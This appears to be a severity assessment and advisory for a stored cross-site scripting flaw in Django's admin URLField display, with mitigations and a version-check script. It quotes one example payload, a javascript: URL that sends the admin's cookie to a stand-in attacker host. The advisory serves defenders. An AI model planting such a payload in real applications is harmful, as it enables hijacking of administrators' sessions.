Django 5.2 before 5.2.17 and 6.0 before 6.0.8.

CVE-2026-15920 is a stored cross-site scripting flaw in Django's admin interface. The display_for_field function rendered URLField values as clickable <a> tags on changelist views and read-only detail pages without validating the URL scheme. An attacker who can store a value like javascript:document.location='https://evil.example/steal?c='+document.cookie into a URLField gets code execution in the browser of any Django staff user who clicks that link. Affected versions are Django 5.2 before 5.2.17 and Django 6.0 before 6.0.8. Django 6.1 release candidates are also affected.

The vendor rates this Moderate (6.1) and that is in the right neighborhood, but slightly generous. The CVSS vector sets PR:N (no privileges), which is only true if the application accepts URL input from unauthenticated users and stores it in a URLField — a real but not universal pattern. Crucially, Django's own URLField form validation already rejects javascript: schemes at the form layer, so the malicious value must enter the database through a path that bypasses form validation — a raw ORM .create(), a DRF serializer without scheme checks, a management command, or direct SQL. That narrows the realistic attack population. The victim must also be a staff user inside the Django admin, a surface that best practice keeps off the public internet entirely.

Why this verdict

• Form-layer validation already blocks the payload. Django's URLField form class uses URLValidator, which rejects javascript: and other dangerous schemes. The attacker must find a write path (raw ORM, DRF without scheme validation, bulk import, direct SQL) that skips this check — a real but non-default condition.
• Admin-only victim surface. The XSS only fires inside Django's admin interface, which best practice keeps behind VPN or IP allowlists. The victim must be a staff user who navigates to the specific model's changelist or detail page and clicks the poisoned link.
• User interaction required. This is not a drive-by. The admin must actively click the rendered link. Modern browser security features (CSP, HttpOnly cookies) further limit the payload's effectiveness.
• Role multiplier: Django is a general-purpose web framework. In low-value roles (dev sandbox, internal tool), the XSS yields limited data. In typical roles (line-of-business app), it yields admin-session hijack bounded to that app. In high-value roles (Django powering an internal identity portal or CI dashboard), a superuser session hijack could yield broader access — but the chain still requires form-validation bypass + admin click + no CSP, and Django is not canonically a high-value-role component (it is not an IdP, hypervisor, PAM, or network edge by definition). The floor does not mandate HIGH because <10% of Django installs occupy a high-value identity/infrastructure role by definition.
• No exploitation pressure. Zero KEV listing, near-zero EPSS, no public PoC, no active campaigns. This is a responsibly disclosed bug with low attacker interest.

Why not higher?

The XSS requires a non-default injection path that bypasses Django's own form validation, is limited to the admin interface (typically not internet-facing), and demands an active click from a staff user. There is no evidence of exploitation, no public weaponized PoC, and the blast radius is bounded to a single Django application's admin session. Django is not a canonical high-value-role component, so the role-multiplier floor does not elevate this to HIGH.

Why not lower?

Stored XSS is inherently more dangerous than reflected XSS because it persists and can target multiple admin users over time. Django is extremely widely deployed (top-3 Python web framework), so even a narrow exploitability window covers a meaningful absolute number of installations. The javascript: URI technique is well-understood and trivially weaponizable once a write path exists, requiring zero specialized tooling. A successful exploit yields full admin-session control, which in some deployments means superuser creation and data exfiltration.

1. Deploy Content-Security-Policy headers on the admin — Set script-src 'self' (or stricter) on Django admin responses. This blocks javascript: URI execution in all modern browsers, neutralizing the XSS payload entirely. Deploy within the 365-day noisgate remediation window — or sooner if you have internet-facing admin panels.
2. Restrict Django admin to internal networks — Ensure /admin/ is only reachable via VPN, IP allowlist, or zero-trust network access. This eliminates remote exploitation and limits the attacker's ability to observe whether their payload fired.
3. Audit URLField write paths for scheme validation — Grep your codebase for .objects.create(, .bulk_create(, raw SQL, and DRF serializers that accept URL input. Ensure all paths validate URL schemes before persisting. This closes the injection vector independent of the Django patch.
4. Enable HttpOnly and SameSite on session cookies — Set SESSION_COOKIE_HTTPONLY = True and SESSION_COOKIE_SAMESITE = 'Lax' in Django settings. This prevents JavaScript from reading the session cookie, limiting the XSS payload to same-origin actions only.

Run this script on any host where Django is installed (application server, CI runner, developer workstation). Invoke with python check_cve_2026_15920.py. No special privileges required — it simply checks the installed Django version.

#!/usr/bin/env python3
"""Check whether the installed Django version is vulnerable to CVE-2026-15920.
Stored XSS via URLField in Django admin (display_for_field).
Affected: Django 5.2.0-5.2.16, 6.0.0-6.0.7
Fixed:   Django 5.2.17+, 6.0.8+
"""
import sys

try:
    import django
except ImportError:
    print("UNKNOWN — Django is not installed in this Python environment.")
    sys.exit(2)

version = django.VERSION  # tuple, e.g. (6, 0, 8, 'final', 0)
major, minor, micro = version[0], version[1], version[2]

vulnerable = False

if (major, minor) == (5, 2) and micro < 17:
    vulnerable = True
elif (major, minor) == (6, 0) and micro < 8:
    vulnerable = True
elif (major, minor) == (6, 1) and version[3] != 'final':
    # 6.1 release candidates are affected; final release includes the fix
    vulnerable = True

version_str = django.get_version()

if vulnerable:
    print(f"VULNERABLE — Django {version_str} is affected by CVE-2026-15920.")
    sys.exit(1)
else:
    print(f"PATCHED — Django {version_str} is not affected by CVE-2026-15920.")
    sys.exit(0)

Sources

1. Django security release announcement (2026-08-04)
2. Django 6.0.8 release notes
3. GBHackers — Django Flaws Let Attackers Trigger RCE, SSRF, DoS, and XSS
4. CyberPress — Django Security Update Fixes Server-Side File Write, XSS, and DoS
5. Cryptika — Django Urges Immediate Upgrade to 6.0.8 and 5.2.17
6. CVE-2019-12308 (prior AdminURLFieldWidget XSS) — Snyk
7. Django archive of security issues